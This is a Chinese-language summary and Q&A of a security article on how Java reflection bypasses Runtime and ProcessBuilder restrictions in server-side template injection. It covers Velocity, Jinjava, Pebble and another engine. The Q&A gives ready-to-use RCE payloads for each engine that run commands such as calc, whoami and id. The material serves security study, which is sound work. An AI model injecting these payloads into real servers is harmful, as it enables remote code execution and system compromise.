从安全角度谈Java反射机制--终章
内容提要
本文从安全角度探讨Java反射机制在服务器端模板注入（SSTI）中的应用，分析多种模板引擎（如Template、Velocity、Jinjava、Pebble）的漏洞利用方式。通过反射机制可绕过对Runtime和ProcessBuilder的限制，实现远程代码执行（RCE）。文章强调SSTI易被误认为XSS，但危害更大，并建议结合官方文档深入学习以发现更多绕过方法。
延伸解读
SSTI与XSS的本质区别
文章指出SSTI常被误认为XSS，但两者危害级别不同。XSS主要影响客户端，而SSTI发生在服务器端，可导致远程代码执行（RCE），直接威胁服务器安全。开发者应警惕模板引擎中用户输入的嵌入，避免因错误配置或故意暴露模板而引入漏洞。
反射机制在绕过限制中的作用
多个模板引擎（如Template、Velocity、Jinjava、Pebble）都尝试禁止直接使用java.lang.Runtime和ProcessBuilder，但通过Java反射机制可以动态获取类和方法，从而绕过这些限制。文章展示了不同引擎的payload构造，体现了反射在安全研究中的灵活性和重要性。
模板引擎语法差异与学习建议
不同模板引擎的语法差异较大，如Velocity的#set和#foreach，Jinjava的表达式，Pebble的{% %}等。理解这些语法是构造有效payload的前提。文章建议结合官方文档和JDK文档深入学习，以发现更多绕过方法，但需注意合法使用，避免用于恶意攻击。
Q&A
什么是服务器端模板注入（SSTI）？它与XSS有何区别？
服务器端模板注入（SSTI）是指将用户输入不安全地嵌入到模板中，导致攻击者可以在服务器端执行模板表达式或代码。它常被误认为XSS，但SSTI直接攻击Web服务器内部，可能导致远程代码执行（RCE），危害更大。
Java反射机制在SSTI中如何帮助实现远程代码执行？
Java反射机制可以动态获取类信息、调用方法，即使模板引擎禁止直接使用Runtime或ProcessBuilder，攻击者仍可通过反射获取这些类并调用其方法，从而绕过限制执行系统命令，实现RCE。
在Template模板引擎中，如何利用反射绕过对Runtime和ProcessBuilder的限制？
Template模板引擎禁止使用Runtime和ProcessBuilder，但可以通过反射获取Runtime类，调用getRuntime()方法获取实例，再调用exec()方法执行命令。例如：${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null),"calc")}
Velocity模板引擎中，SSTI的payload是如何构造的？
Velocity的payload使用#set语法创建变量，通过反射获取Runtime类并执行命令。例如：#set($x="") #set($rt=$x.class.forName("java.lang.Runtime")) #set($ex=$rt.getRuntime().exec("calc"))$ex.waitFor()，然后循环读取输出。
Jinjava模板引擎的SSTI漏洞如何利用？
Jinjava的payload通过反射获取ScriptEngineManager类，实例化后获取JavaScript引擎，再执行命令。例如：{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder; x.command(\"whoami\"); x.start()")}}
Pebble模板引擎的SSTI payload是如何工作的？
Pebble的payload使用{% set %}语法，通过反射获取Runtime类，调用exec方法执行命令，并读取输出。例如：{% set cmd = 'id' %} {% set bytes = (1).TYPE .forName('java.lang.Runtime') .methods[6] .invoke(null,null) .exec(cmd) .inputStream .readAllBytes() %} {{ (1).TYPE .forName('java.lang.String') .constructors[0] .newInstance(([bytes]).toArray()) }}
如何深入学习SSTI漏洞并发现更多绕过方法？
建议结合模板引擎官方文档和JDK文档，理解模板语法和Java反射机制，尝试构造不同的payload来绕过限制。参考文章中的案例和PayloadsAllTheThings等资源，可以加深理解。
